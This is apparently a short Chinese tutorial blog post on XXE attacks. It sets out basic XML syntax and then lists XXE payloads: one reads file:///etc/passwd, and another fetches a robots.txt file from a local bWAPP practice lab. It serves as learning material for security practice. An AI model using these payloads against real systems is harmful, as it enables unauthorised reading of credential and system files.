XML External Entity attack

XXE漏洞

XML 被设计用来传输和存储数据。

语法规则

<?xml version="1.0" encoding="UTF-8"?> <!--XML 声明-->
<girl age="18">  <!--自定的根元素girl;age属性需要加引导-->
<hair>长头发</hair>  <!--自定义的4个子元素,即girl对象的属性-->
<eye>大眼睛</eye>
<face>可爱的脸庞</face>
<summary>可爱美丽的女孩</summary>
</girl>  <!--根元素的闭合-->

Payload

获取账户密码:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>

<xxe>&xxe;</xxe>

password

获取flag.txt

读取网站任意文件:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note[
<!ENTITY xxe SYSTEM "http://127.0.0.1/bWAPP/robots.txt">
]>

<reset><login>&xxe;</login><secret>Any bugs?</secret></reset>

AWVS

Reference:
《XXE漏洞利用技巧:从XML到远程代码执行》
《安仔课堂:实战讲解XXE漏洞的利用与防御策略》

发表评论 / Comment

用心评论~